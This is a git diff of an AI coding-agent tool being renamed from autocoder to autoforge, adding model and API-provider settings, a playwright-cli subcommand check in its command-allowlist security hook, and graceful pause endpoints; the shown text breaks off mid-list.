logger.info("Migrated registry directory: ~/.autocoder/ -> ~/.autoforge/")
|
||||||
|
except Exception:
|
||||||
|
logger.warning("Failed to migrate ~/.autocoder/ to ~/.autoforge/", exc_info=True)
|
||||||
|
|
||||||
|
|
||||||
# =============================================================================
|
# =============================================================================
|
||||||
# Model Configuration (Single Source of Truth)
|
# Model Configuration (Single Source of Truth)
|
||||||
# =============================================================================
|
# =============================================================================
|
||||||
@@ -30,10 +46,16 @@ logger = logging.getLogger(__name__)
|
|||||||
# Available models with display names
|
# Available models with display names
|
||||||
# To add a new model: add an entry here with {"id": "model-id", "name": "Display Name"}
|
# To add a new model: add an entry here with {"id": "model-id", "name": "Display Name"}
|
||||||
AVAILABLE_MODELS = [
|
AVAILABLE_MODELS = [
|
||||||
{"id": "claude-opus-4-5-20251101", "name": "Claude Opus 4.5"},
|
{"id": "claude-opus-4-6", "name": "Claude Opus"},
|
||||||
{"id": "claude-sonnet-4-5-20250929", "name": "Claude Sonnet 4.5"},
|
{"id": "claude-sonnet-4-5-20250929", "name": "Claude Sonnet"},
|
||||||
]
|
]
|
||||||
|
|
||||||
|
# Map legacy model IDs to their current replacements.
|
||||||
|
# Used by get_all_settings() to auto-migrate stale values on first read after upgrade.
|
||||||
|
LEGACY_MODEL_MAP = {
|
||||||
|
"claude-opus-4-5-20251101": "claude-opus-4-6",
|
||||||
|
}
|
||||||
|
|
||||||
# List of valid model IDs (derived from AVAILABLE_MODELS)
|
# List of valid model IDs (derived from AVAILABLE_MODELS)
|
||||||
VALID_MODELS = [m["id"] for m in AVAILABLE_MODELS]
|
VALID_MODELS = [m["id"] for m in AVAILABLE_MODELS]
|
||||||
|
|
||||||
@@ -43,7 +65,7 @@ VALID_MODELS = [m["id"] for m in AVAILABLE_MODELS]
|
|||||||
_env_default_model = os.getenv("ANTHROPIC_DEFAULT_OPUS_MODEL")
|
_env_default_model = os.getenv("ANTHROPIC_DEFAULT_OPUS_MODEL")
|
||||||
if _env_default_model is not None:
|
if _env_default_model is not None:
|
||||||
_env_default_model = _env_default_model.strip()
|
_env_default_model = _env_default_model.strip()
|
||||||
DEFAULT_MODEL = _env_default_model or "claude-opus-4-5-20251101"
|
DEFAULT_MODEL = _env_default_model or "claude-opus-4-6"
|
||||||
|
|
||||||
# Ensure env-provided DEFAULT_MODEL is in VALID_MODELS for validation consistency
|
# Ensure env-provided DEFAULT_MODEL is in VALID_MODELS for validation consistency
|
||||||
# (idempotent: only adds if missing, doesn't alter AVAILABLE_MODELS semantics)
|
# (idempotent: only adds if missing, doesn't alter AVAILABLE_MODELS semantics)
|
||||||
@@ -120,12 +142,15 @@ _engine_lock = threading.Lock()
|
|||||||
|
|
||||||
def get_config_dir() -> Path:
|
def get_config_dir() -> Path:
|
||||||
"""
|
"""
|
||||||
Get the config directory: ~/.autocoder/
|
Get the config directory: ~/.autoforge/
|
||||||
|
|
||||||
|
Automatically migrates from ~/.autocoder/ if needed.
|
||||||
|
|
||||||
Returns:
|
Returns:
|
||||||
Path to ~/.autocoder/ (created if it doesn't exist)
|
Path to ~/.autoforge/ (created if it doesn't exist)
|
||||||
"""
|
"""
|
||||||
config_dir = Path.home() / ".autocoder"
|
_migrate_registry_dir()
|
||||||
|
config_dir = Path.home() / ".autoforge"
|
||||||
config_dir.mkdir(parents=True, exist_ok=True)
|
config_dir.mkdir(parents=True, exist_ok=True)
|
||||||
return config_dir
|
return config_dir
|
||||||
|
|
||||||
@@ -579,6 +604,9 @@ def get_all_settings() -> dict[str, str]:
|
|||||||
"""
|
"""
|
||||||
Get all settings as a dictionary.
|
Get all settings as a dictionary.
|
||||||
|
|
||||||
|
Automatically migrates legacy model IDs (e.g. claude-opus-4-5-20251101 -> claude-opus-4-6)
|
||||||
|
on first read after upgrade. This is a one-time silent migration.
|
||||||
|
|
||||||
Returns:
|
Returns:
|
||||||
Dictionary mapping setting keys to values.
|
Dictionary mapping setting keys to values.
|
||||||
"""
|
"""
|
||||||
@@ -587,9 +615,172 @@ def get_all_settings() -> dict[str, str]:
|
|||||||
session = SessionLocal()
|
session = SessionLocal()
|
||||||
try:
|
try:
|
||||||
settings = session.query(Settings).all()
|
settings = session.query(Settings).all()
|
||||||
return {s.key: s.value for s in settings}
|
result = {s.key: s.value for s in settings}
|
||||||
|
|
||||||
|
# Auto-migrate legacy model IDs
|
||||||
|
migrated = False
|
||||||
|
for key in ("model", "api_model"):
|
||||||
|
old_id = result.get(key)
|
||||||
|
if old_id and old_id in LEGACY_MODEL_MAP:
|
||||||
|
new_id = LEGACY_MODEL_MAP[old_id]
|
||||||
|
setting = session.query(Settings).filter(Settings.key == key).first()
|
||||||
|
if setting:
|
||||||
|
setting.value = new_id
|
||||||
|
setting.updated_at = datetime.now()
|
||||||
|
result[key] = new_id
|
||||||
|
migrated = True
|
||||||
|
logger.info("Migrated setting '%s': %s -> %s", key, old_id, new_id)
|
||||||
|
|
||||||
|
if migrated:
|
||||||
|
session.commit()
|
||||||
|
|
||||||
|
return result
|
||||||
finally:
|
finally:
|
||||||
session.close()
|
session.close()
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.warning("Failed to read settings: %s", e)
|
logger.warning("Failed to read settings: %s", e)
|
||||||
return {}
|
return {}
|
||||||
|
|
||||||
|
|
||||||
|
# =============================================================================
|
||||||
|
# API Provider Definitions
|
||||||
|
# =============================================================================
|
||||||
|
|
||||||
|
API_PROVIDERS: dict[str, dict[str, Any]] = {
|
||||||
|
"claude": {
|
||||||
|
"name": "Claude (Anthropic)",
|
||||||
|
"base_url": None,
|
||||||
|
"requires_auth": False,
|
||||||
|
"models": [
|
||||||
|
{"id": "claude-opus-4-6", "name": "Claude Opus"},
|
||||||
|
{"id": "claude-sonnet-4-5-20250929", "name": "Claude Sonnet"},
|
||||||
|
],
|
||||||
|
"default_model": "claude-opus-4-6",
|
||||||
|
},
|
||||||
|
"kimi": {
|
||||||
|
"name": "Kimi K2.5 (Moonshot)",
|
||||||
|
"base_url": "https://api.kimi.com/coding/",
|
||||||
|
"requires_auth": True,
|
||||||
|
"auth_env_var": "ANTHROPIC_API_KEY",
|
||||||
|
"models": [{"id": "kimi-k2.5", "name": "Kimi K2.5"}],
|
||||||
|
"default_model": "kimi-k2.5",
|
||||||
|
},
|
||||||
|
"glm": {
|
||||||
|
"name": "GLM (Zhipu AI)",
|
||||||
|
"base_url": "https://api.z.ai/api/anthropic",
|
||||||
|
"requires_auth": True,
|
||||||
|
"auth_env_var": "ANTHROPIC_AUTH_TOKEN",
|
||||||
|
"models": [
|
||||||
|
{"id": "glm-5", "name": "GLM 5"},
|
||||||
|
{"id": "glm-4.7", "name": "GLM 4.7"},
|
||||||
|
{"id": "glm-4.5-air", "name": "GLM 4.5 Air"},
|
||||||
|
],
|
||||||
|
"default_model": "glm-4.7",
|
||||||
|
},
|
||||||
|
"azure": {
|
||||||
|
"name": "Azure Anthropic (Claude)",
|
||||||
|
"base_url": "",
|
||||||
|
"requires_auth": True,
|
||||||
|
"auth_env_var": "ANTHROPIC_API_KEY",
|
||||||
|
"models": [
|
||||||
|
{"id": "claude-opus-4-6", "name": "Claude Opus"},
|
||||||
|
{"id": "claude-sonnet-4-5", "name": "Claude Sonnet"},
|
||||||
|
{"id": "claude-haiku-4-5", "name": "Claude Haiku"},
|
||||||
|
],
|
||||||
|
"default_model": "claude-opus-4-6",
|
||||||
|
},
|
||||||
|
"ollama": {
|
||||||
|
"name": "Ollama (Local)",
|
||||||
|
"base_url": "http://localhost:11434",
|
||||||
|
"requires_auth": False,
|
||||||
|
"models": [
|
||||||
|
{"id": "qwen3-coder", "name": "Qwen3 Coder"},
|
||||||
|
{"id": "deepseek-coder-v2", "name": "DeepSeek Coder V2"},
|
||||||
|
],
|
||||||
|
"default_model": "qwen3-coder",
|
||||||
|
},
|
||||||
|
"custom": {
|
||||||
|
"name": "Custom Provider",
|
||||||
|
"base_url": "",
|
||||||
|
"requires_auth": True,
|
||||||
|
"auth_env_var": "ANTHROPIC_AUTH_TOKEN",
|
||||||
|
"models": [],
|
||||||
|
"default_model": "",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def get_effective_sdk_env() -> dict[str, str]:
|
||||||
|
"""Build environment variable dict for Claude SDK based on current API provider settings.
|
||||||
|
|
||||||
|
When api_provider is "claude" (or unset), falls back to existing env vars (current behavior).
|
||||||
|
For other providers, builds env dict from stored settings (api_base_url, api_auth_token, api_model).
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Dict ready to merge into subprocess env or pass to SDK.
|
||||||
|
"""
|
||||||
|
all_settings = get_all_settings()
|
||||||
|
provider_id = all_settings.get("api_provider", "claude")
|
||||||
|
|
||||||
|
if provider_id == "claude":
|
||||||
|
# Default behavior: forward existing env vars
|
||||||
|
from env_constants import API_ENV_VARS
|
||||||
|
sdk_env: dict[str, str] = {}
|
||||||
|
for var in API_ENV_VARS:
|
||||||
|
value = os.getenv(var)
|
||||||
|
if value:
|
||||||
|
sdk_env[var] = value
|
||||||
|
return sdk_env
|
||||||
|
|
||||||
|
# Alternative provider: build env from settings
|
||||||
|
provider = API_PROVIDERS.get(provider_id)
|
||||||
|
if not provider:
|
||||||
|
logger.warning("Unknown API provider '%s', falling back to claude", provider_id)
|
||||||
|
from env_constants import API_ENV_VARS
|
||||||
|
sdk_env = {}
|
||||||
|
for var in API_ENV_VARS:
|
||||||
|
value = os.getenv(var)
|
||||||
|
if value:
|
||||||
|
sdk_env[var] = value
|
||||||
|
return sdk_env
|
||||||
|
|
||||||
|
sdk_env = {}
|
||||||
|
|
||||||
|
# Explicitly clear credentials that could leak from the server process env.
|
||||||
|
# For providers using ANTHROPIC_AUTH_TOKEN (GLM, Custom), clear ANTHROPIC_API_KEY.
|
||||||
|
# For providers using ANTHROPIC_API_KEY (Kimi), clear ANTHROPIC_AUTH_TOKEN.
|
||||||
|
# This prevents the Claude CLI from using the wrong credentials.
|
||||||
|
auth_env_var = provider.get("auth_env_var", "ANTHROPIC_AUTH_TOKEN")
|
||||||
|
if auth_env_var == "ANTHROPIC_AUTH_TOKEN":
|
||||||
|
sdk_env["ANTHROPIC_API_KEY"] = ""
|
||||||
|
elif auth_env_var == "ANTHROPIC_API_KEY":
|
||||||
|
sdk_env["ANTHROPIC_AUTH_TOKEN"] = ""
|
||||||
|
|
||||||
|
# Clear Vertex AI vars when using non-Vertex alternative providers
|
||||||
|
sdk_env["CLAUDE_CODE_USE_VERTEX"] = ""
|
||||||
|
sdk_env["CLOUD_ML_REGION"] = ""
|
||||||
|
sdk_env["ANTHROPIC_VERTEX_PROJECT_ID"] = ""
|
||||||
|
|
||||||
|
# Base URL
|
||||||
|
base_url = all_settings.get("api_base_url") or provider.get("base_url")
|
||||||
|
if base_url:
|
||||||
|
sdk_env["ANTHROPIC_BASE_URL"] = base_url
|
||||||
|
|
||||||
|
# Auth token
|
||||||
|
auth_token = all_settings.get("api_auth_token")
|
||||||
|
if auth_token:
|
||||||
|
sdk_env[auth_env_var] = auth_token
|
||||||
|
|
||||||
|
# Model - set all three tier overrides to the same model
|
||||||
|
model = all_settings.get("api_model") or provider.get("default_model")
|
||||||
|
if model:
|
||||||
|
sdk_env["ANTHROPIC_DEFAULT_OPUS_MODEL"] = model
|
||||||
|
sdk_env["ANTHROPIC_DEFAULT_SONNET_MODEL"] = model
|
||||||
|
sdk_env["ANTHROPIC_DEFAULT_HAIKU_MODEL"] = model
|
||||||
|
|
||||||
|
# Timeout
|
||||||
|
timeout = all_settings.get("api_timeout_ms")
|
||||||
|
if timeout:
|
||||||
|
sdk_env["API_TIMEOUT_MS"] = timeout
|
||||||
|
|
||||||
|
return sdk_env
|
||||||
|
|||||||
14
requirements-prod.txt
Normal file
14
requirements-prod.txt
Normal file
@@ -0,0 +1,14 @@
|
|||||||
|
# Production runtime dependencies only
|
||||||
|
# For development, use requirements.txt (includes ruff, mypy, pytest)
|
||||||
|
claude-agent-sdk>=0.1.39,<0.2.0
|
||||||
|
python-dotenv>=1.0.0
|
||||||
|
sqlalchemy>=2.0.0
|
||||||
|
fastapi>=0.115.0
|
||||||
|
uvicorn[standard]>=0.32.0
|
||||||
|
websockets>=13.0
|
||||||
|
python-multipart>=0.0.17
|
||||||
|
psutil>=6.0.0
|
||||||
|
aiofiles>=24.0.0
|
||||||
|
apscheduler>=3.10.0,<4.0.0
|
||||||
|
pywinpty>=2.0.0; sys_platform == "win32"
|
||||||
|
pyyaml>=6.0.0
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
claude-agent-sdk>=0.1.0,<0.2.0
|
claude-agent-sdk>=0.1.39,<0.2.0
|
||||||
python-dotenv>=1.0.0
|
python-dotenv>=1.0.0
|
||||||
sqlalchemy>=2.0.0
|
sqlalchemy>=2.0.0
|
||||||
fastapi>=0.115.0
|
fastapi>=0.115.0
|
||||||
|
|||||||
61
security.py
61
security.py
@@ -66,10 +66,12 @@ ALLOWED_COMMANDS = {
|
|||||||
"bash",
|
"bash",
|
||||||
# Script execution
|
# Script execution
|
||||||
"init.sh", # Init scripts; validated separately
|
"init.sh", # Init scripts; validated separately
|
||||||
|
# Browser automation
|
||||||
|
"playwright-cli", # Playwright CLI for browser testing; validated separately
|
||||||
}
|
}
|
||||||
|
|
||||||
# Commands that need additional validation even when in the allowlist
|
# Commands that need additional validation even when in the allowlist
|
||||||
COMMANDS_NEEDING_EXTRA_VALIDATION = {"pkill", "chmod", "init.sh"}
|
COMMANDS_NEEDING_EXTRA_VALIDATION = {"pkill", "chmod", "init.sh", "playwright-cli"}
|
||||||
|
|
||||||
# Commands that are NEVER allowed, even with user approval
|
# Commands that are NEVER allowed, even with user approval
|
||||||
# These commands can cause permanent system damage or security breaches
|
# These commands can cause permanent system damage or security breaches
|
||||||
@@ -438,6 +440,37 @@ def validate_init_script(command_string: str) -> tuple[bool, str]:
|
|||||||
return False, f"Only ./init.sh is allowed, got: {script}"
|
return False, f"Only ./init.sh is allowed, got: {script}"
|
||||||
|
|
||||||
|
|
||||||
|
def validate_playwright_command(command_string: str) -> tuple[bool, str]:
|
||||||
|
"""
|
||||||
|
Validate playwright-cli commands - block dangerous subcommands.
|
||||||
|
|
||||||
|
Blocks `run-code` (arbitrary Node.js execution) and `eval` (arbitrary JS
|
||||||
|
evaluation) which bypass the security sandbox.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Tuple of (is_allowed, reason_if_blocked)
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
tokens = shlex.split(command_string)
|
||||||
|
except ValueError:
|
||||||
|
return False, "Could not parse playwright-cli command"
|
||||||
|
|
||||||
|
if not tokens:
|
||||||
|
return False, "Empty command"
|
||||||
|
|
||||||
|
BLOCKED_SUBCOMMANDS = {"run-code", "eval"}
|
||||||
|
|
||||||
|
# Find the subcommand: first non-flag token after 'playwright-cli'
|
||||||
|
for token in tokens[1:]:
|
||||||
|
if token.startswith("-"):
|
||||||
|
continue # skip flags like -s=agent-1
|
||||||
|
if token in BLOCKED_SUBCOMMANDS:
|
||||||
|
return False, f"playwright-cli '{token}' is not allowed"
|
||||||
|
break # first non-flag token is the subcommand
|
||||||
|
|
||||||
|
return True, ""
|
||||||
|
|
||||||
|
|
||||||
def matches_pattern(command: str, pattern: str) -> bool:
|
def matches_pattern(command: str, pattern: str) -> bool:
|
||||||
"""
|
"""
|
||||||
Check if a command matches a pattern.
|
Check if a command matches a pattern.
|
||||||
@@ -553,14 +586,23 @@ def get_org_config_path() -> Path:
|
|||||||
Get the organization-level config file path.
|
Get the organization-level config file path.
|
||||||
|
|
||||||
Returns:
|
Returns:
|
||||||
Path to ~/.autocoder/config.yaml
|
Path to ~/.autoforge/config.yaml (falls back to ~/.autocoder/config.yaml)
|
||||||
"""
|
"""
|
||||||
return Path.home() / ".autocoder" / "config.yaml"
|
new_path = Path.home() / ".autoforge" / "config.yaml"
|
||||||
|
if new_path.exists():
|
||||||
|
return new_path
|
||||||
|
# Backward compatibility: check old location
|
||||||
|
old_path = Path.home() / ".autocoder" / "config.yaml"
|
||||||
|
if old_path.exists():
|
||||||
|
return old_path
|
||||||
|
return new_path
|
||||||
|
|
||||||
|
|
||||||
def load_org_config() -> Optional[dict]:
|
def load_org_config() -> Optional[dict]:
|
||||||
"""
|
"""
|
||||||
Load organization-level config from ~/.autocoder/config.yaml.
|
Load organization-level config from ~/.autoforge/config.yaml.
|
||||||
|
|
||||||
|
Falls back to ~/.autocoder/config.yaml for backward compatibility.
|
||||||
|
|
||||||
Returns:
|
Returns:
|
||||||
Dict with parsed org config, or None if file doesn't exist or is invalid
|
Dict with parsed org config, or None if file doesn't exist or is invalid
|
||||||
@@ -630,7 +672,10 @@ def load_project_commands(project_dir: Path) -> Optional[dict]:
|
|||||||
Returns:
|
Returns:
|
||||||
Dict with parsed YAML config, or None if file doesn't exist or is invalid
|
Dict with parsed YAML config, or None if file doesn't exist or is invalid
|
||||||
"""
|
"""
|
||||||
config_path = project_dir.resolve() / ".autocoder" / "allowed_commands.yaml"
|
# Check new location first, fall back to old for backward compatibility
|
||||||
|
config_path = project_dir.resolve() / ".autoforge" / "allowed_commands.yaml"
|
||||||
|
if not config_path.exists():
|
||||||
|
config_path = project_dir.resolve() / ".autocoder" / "allowed_commands.yaml"
|
||||||
|
|
||||||
if not config_path.exists():
|
if not config_path.exists():
|
||||||
return None
|
return None
|
||||||
@@ -909,7 +954,7 @@ async def bash_security_hook(input_data, tool_use_id=None, context=None):
|
|||||||
# Provide helpful error message with config hint
|
# Provide helpful error message with config hint
|
||||||
error_msg = f"Command '{cmd}' is not allowed.\n"
|
error_msg = f"Command '{cmd}' is not allowed.\n"
|
||||||
error_msg += "To allow this command:\n"
|
error_msg += "To allow this command:\n"
|
||||||
error_msg += " 1. Add to .autocoder/allowed_commands.yaml for this project, OR\n"
|
error_msg += " 1. Add to .autoforge/allowed_commands.yaml for this project, OR\n"
|
||||||
error_msg += " 2. Request mid-session approval (the agent can ask)\n"
|
error_msg += " 2. Request mid-session approval (the agent can ask)\n"
|
||||||
error_msg += "Note: Some commands are blocked at org-level and cannot be overridden."
|
error_msg += "Note: Some commands are blocked at org-level and cannot be overridden."
|
||||||
return {
|
return {
|
||||||
@@ -943,5 +988,9 @@ async def bash_security_hook(input_data, tool_use_id=None, context=None):
|
|||||||
allowed, reason = validate_init_script(cmd_segment)
|
allowed, reason = validate_init_script(cmd_segment)
|
||||||
if not allowed:
|
if not allowed:
|
||||||
return {"decision": "block", "reason": reason}
|
return {"decision": "block", "reason": reason}
|
||||||
|
elif cmd == "playwright-cli":
|
||||||
|
allowed, reason = validate_playwright_command(cmd_segment)
|
||||||
|
if not allowed:
|
||||||
|
return {"decision": "block", "reason": reason}
|
||||||
|
|
||||||
return {}
|
return {}
|
||||||
|
|||||||
@@ -36,6 +36,7 @@ from .routers import (
|
|||||||
features_router,
|
features_router,
|
||||||
filesystem_router,
|
filesystem_router,
|
||||||
projects_router,
|
projects_router,
|
||||||
|
scaffold_router,
|
||||||
schedules_router,
|
schedules_router,
|
||||||
settings_router,
|
settings_router,
|
||||||
spec_creation_router,
|
spec_creation_router,
|
||||||
@@ -61,6 +62,17 @@ UI_DIST_DIR = ROOT_DIR / "ui" / "dist"
|
|||||||
@asynccontextmanager
|
@asynccontextmanager
|
||||||
async def lifespan(app: FastAPI):
|
async def lifespan(app: FastAPI):
|
||||||
"""Lifespan context manager for startup and shutdown."""
|
"""Lifespan context manager for startup and shutdown."""
|
||||||
|
# Startup - clean up stale temp files (Playwright profiles, .node cache, etc.)
|
||||||
|
try:
|
||||||
|
from temp_cleanup import cleanup_stale_temp
|
||||||
|
stats = cleanup_stale_temp()
|
||||||
|
if stats["dirs_deleted"] > 0 or stats["files_deleted"] > 0:
|
||||||
|
mb_freed = stats["bytes_freed"] / (1024 * 1024)
|
||||||
|
logger.info("Startup temp cleanup: %d dirs, %d files, %.1f MB freed",
|
||||||
|
stats["dirs_deleted"], stats["files_deleted"], mb_freed)
|
||||||
|
except Exception as e:
|
||||||
|
logger.warning("Startup temp cleanup failed (non-fatal): %s", e)
|
||||||
|
|
||||||
# Startup - clean up orphaned lock files from previous runs
|
# Startup - clean up orphaned lock files from previous runs
|
||||||
cleanup_orphaned_locks()
|
cleanup_orphaned_locks()
|
||||||
cleanup_orphaned_devserver_locks()
|
cleanup_orphaned_devserver_locks()
|
||||||
@@ -94,7 +106,7 @@ logger = logging.getLogger(__name__)
|
|||||||
|
|
||||||
# Check if remote access is enabled via environment variable
|
# Check if remote access is enabled via environment variable
|
||||||
# Set by start_ui.py when --host is not 127.0.0.1
|
# Set by start_ui.py when --host is not 127.0.0.1
|
||||||
ALLOW_REMOTE = os.environ.get("AUTOCODER_ALLOW_REMOTE", "").lower() in ("1", "true", "yes")
|
ALLOW_REMOTE = os.environ.get("AUTOFORGE_ALLOW_REMOTE", "").lower() in ("1", "true", "yes")
|
||||||
|
|
||||||
if ALLOW_REMOTE:
|
if ALLOW_REMOTE:
|
||||||
logger.warning(
|
logger.warning(
|
||||||
@@ -133,7 +145,7 @@ else:
|
|||||||
if not ALLOW_REMOTE:
|
if not ALLOW_REMOTE:
|
||||||
@app.middleware("http")
|
@app.middleware("http")
|
||||||
async def require_localhost(request: Request, call_next):
|
async def require_localhost(request: Request, call_next):
|
||||||
"""Only allow requests from localhost (disabled when AUTOCODER_ALLOW_REMOTE=1)."""
|
"""Only allow requests from localhost (disabled when AUTOFORGE_ALLOW_REMOTE=1)."""
|
||||||
client_host = request.client.host if request.client else None
|
client_host = request.client.host if request.client else None
|
||||||
|
|
||||||
# Allow localhost connections
|
# Allow localhost connections
|
||||||
@@ -158,6 +170,7 @@ app.include_router(filesystem_router)
|
|||||||
app.include_router(assistant_chat_router)
|
app.include_router(assistant_chat_router)
|
||||||
app.include_router(settings_router)
|
app.include_router(settings_router)
|
||||||
app.include_router(terminal_router)
|
app.include_router(terminal_router)
|
||||||
|
app.include_router(scaffold_router)
|
||||||
|
|
||||||
|
|
||||||
# ============================================================================
|
# ============================================================================
|
||||||
|
|||||||
@@ -12,6 +12,7 @@ from .expand_project import router as expand_project_router
|
|||||||
from .features import router as features_router
|
from .features import router as features_router
|
||||||
from .filesystem import router as filesystem_router
|
from .filesystem import router as filesystem_router
|
||||||
from .projects import router as projects_router
|
from .projects import router as projects_router
|
||||||
|
from .scaffold import router as scaffold_router
|
||||||
from .schedules import router as schedules_router
|
from .schedules import router as schedules_router
|
||||||
from .settings import router as settings_router
|
from .settings import router as settings_router
|
||||||
from .spec_creation import router as spec_creation_router
|
from .spec_creation import router as spec_creation_router
|
||||||
@@ -29,4 +30,5 @@ __all__ = [
|
|||||||
"assistant_chat_router",
|
"assistant_chat_router",
|
||||||
"settings_router",
|
"settings_router",
|
||||||
"terminal_router",
|
"terminal_router",
|
||||||
|
"scaffold_router",
|
||||||
]
|
]
|
||||||
|
|||||||
@@ -32,7 +32,7 @@ def _get_settings_defaults() -> tuple[bool, str, int, bool, int]:
|
|||||||
|
|
||||||
settings = get_all_settings()
|
settings = get_all_settings()
|
||||||
yolo_mode = (settings.get("yolo_mode") or "false").lower() == "true"
|
yolo_mode = (settings.get("yolo_mode") or "false").lower() == "true"
|
||||||
model = settings.get("model", DEFAULT_MODEL)
|
model = settings.get("api_model") or settings.get("model", DEFAULT_MODEL)
|
||||||
|
|
||||||
# Parse testing agent settings with defaults
|
# Parse testing agent settings with defaults
|
||||||
try:
|
try:
|
||||||
@@ -175,3 +175,31 @@ async def resume_agent(project_name: str):
|
|||||||
status=manager.status,
|
status=manager.status,
|
||||||
message=message,
|
message=message,
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
|
@router.post("/graceful-pause", response_model=AgentActionResponse)
|
||||||
|
async def graceful_pause_agent(project_name: str):
|
||||||
|
"""Request a graceful pause (drain mode) - finish current work then pause."""
|
||||||
|
manager = get_project_manager(project_name)
|
||||||
|
|
||||||
|
success, message = await manager.graceful_pause()
|
||||||
|
|
||||||
|
return AgentActionResponse(
|
||||||
|
success=success,
|
||||||
|
status=manager.status,
|
||||||
|
message=message,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
@router.post("/graceful-resume", response_model=AgentActionResponse)
|
||||||
|
async def graceful_resume_agent(project_name: str):
|
||||||
|
"""Resume from a graceful pause."""
|
||||||
|
manager = get_project_manager(project_name)
|
||||||
|
|
||||||
|
success, message = await manager.graceful_resume()
|
||||||
|
|
||||||
|
return AgentActionResponse(
|
||||||
|
success=success,
|
||||||
|
status=manager.status,
|
||||||
|
message=message,
|
||||||
|
)
|
||||||
|
|||||||
@@ -26,7 +26,7 @@ from ..services.assistant_database import (
|
|||||||
get_conversations,
|
get_conversations,
|
||||||
)
|
)
|
||||||
from ..utils.project_helpers import get_project_path as _get_project_path
|
from ..utils.project_helpers import get_project_path as _get_project_path
|
||||||
from ..utils.validation import is_valid_project_name as validate_project_name
|
from ..utils.validation import validate_project_name
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
@@ -207,30 +207,38 @@ async def assistant_chat_websocket(websocket: WebSocket, project_name: str):
|
|||||||
Client -> Server:
|
Client -> Server:
|
||||||
- {"type": "start", "conversation_id": int | null} - Start/resume session
|
- {"type": "start", "conversation_id": int | null} - Start/resume session
|
||||||
- {"type": "message", "content": "..."} - Send user message
|
- {"type": "message", "content": "..."} - Send user message
|
||||||
|
- {"type": "answer", "answers": {...}} - Answer to structured questions
|
||||||
- {"type": "ping"} - Keep-alive ping
|
- {"type": "ping"} - Keep-alive ping
|
||||||
|
|
||||||
Server -> Client:
|
Server -> Client:
|
||||||
- {"type": "conversation_created", "conversation_id": int} - New conversation created
|
- {"type": "conversation_created", "conversation_id": int} - New conversation created
|
||||||
- {"type": "text", "content": "..."} - Text chunk from Claude
|
- {"type": "text", "content": "..."} - Text chunk from Claude
|
||||||
- {"type": "tool_call", "tool": "...", "input": {...}} - Tool being called
|
- {"type": "tool_call", "tool": "...", "input": {...}} - Tool being called
|
||||||
|
- {"type": "question", "questions": [...]} - Structured questions for user
|
||||||
- {"type": "response_done"} - Response complete
|
- {"type": "response_done"} - Response complete
|
||||||
- {"type": "error", "content": "..."} - Error message
|
- {"type": "error", "content": "..."} - Error message
|
||||||
- {"type": "pong"} - Keep-alive pong
|
- {"type": "pong"} - Keep-alive pong
|
||||||
"""
|
"""
|
||||||
if not validate_project_name(project_name):
|
# Always accept WebSocket first to avoid opaque 403 errors
|
||||||
|
await websocket.accept()
|
||||||
|
|
||||||
|
try:
|
||||||
|
project_name = validate_project_name(project_name)
|
||||||
|
except HTTPException:
|
||||||
|
await websocket.send_json({"type": "error", "content": "Invalid project name"})
|
||||||
await websocket.close(code=4000, reason="Invalid project name")
|
await websocket.close(code=4000, reason="Invalid project name")
|
||||||
return
|
return
|
||||||
|
|
||||||
project_dir = _get_project_path(project_name)
|
project_dir = _get_project_path(project_name)
|
||||||
if not project_dir:
|
if not project_dir:
|
||||||
|
await websocket.send_json({"type": "error", "content": "Project not found in registry"})
|
||||||
await websocket.close(code=4004, reason="Project not found in registry")
|
await websocket.close(code=4004, reason="Project not found in registry")
|
||||||
return
|
return
|
||||||
|
|
||||||
if not project_dir.exists():
|
if not project_dir.exists():
|
||||||
|
await websocket.send_json({"type": "error", "content": "Project directory not found"})
|
||||||
await websocket.close(code=4004, reason="Project directory not found")
|
await websocket.close(code=4004, reason="Project directory not found")
|
||||||
return
|
return
|
||||||
|
|
||||||
await websocket.accept()
|
|
||||||
logger.info(f"Assistant WebSocket connected for project: {project_name}")
|
logger.info(f"Assistant WebSocket connected for project: {project_name}")
|
||||||
|
|
||||||
session: Optional[AssistantChatSession] = None
|
session: Optional[AssistantChatSession] = None
|
||||||
@@ -297,6 +305,34 @@ async def assistant_chat_websocket(websocket: WebSocket, project_name: str):
|
|||||||
async for chunk in session.send_message(user_content):
|
async for chunk in session.send_message(user_content):
|
||||||
await websocket.send_json(chunk)
|
await websocket.send_json(chunk)
|
||||||
|
|
||||||
|
elif msg_type == "answer":
|
||||||
|
# User answered a structured question
|
||||||
|
if not session:
|
||||||
|
session = get_session(project_name)
|
||||||
|
if not session:
|
||||||
|
await websocket.send_json({
|
||||||
|
"type": "error",
|
||||||
|
"content": "No active session. Send 'start' first."
|
||||||
|
})
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Format the answers as a natural response
|
||||||
|
answers = message.get("answers", {})
|
||||||
|
if isinstance(answers, dict):
|
||||||
|
response_parts = []
|
||||||
|
for question_idx, answer_value in answers.items():
|
||||||
|
if isinstance(answer_value, list):
|
||||||
|
response_parts.append(", ".join(answer_value))
|
||||||
|
else:
|
||||||
|
response_parts.append(str(answer_value))
|
||||||
|
user_response = "; ".join(response_parts) if response_parts else "OK"
|
||||||
|
else:
|
||||||
|
user_response = str(answers)
|
||||||
|
|
||||||
|
# Stream Claude's response
|
||||||
|
async for chunk in session.send_message(user_response):
|
||||||
|
await websocket.send_json(chunk)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
await websocket.send_json({
|
await websocket.send_json({
|
||||||
"type": "error",
|
"type": "error",
|
||||||
|
|||||||
@@ -7,6 +7,7 @@ Uses project registry for path lookups and project_config for command detection.
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
|
import shlex
|
||||||
import sys
|
import sys
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
|
|
||||||
@@ -72,6 +73,116 @@ def get_project_dir(project_name: str) -> Path:
|
|||||||
|
|
||||||
return project_dir
|
return project_dir
|
||||||
|
|
||||||
|
ALLOWED_RUNNERS = {
|
||||||
|
"npm", "pnpm", "yarn", "npx",
|
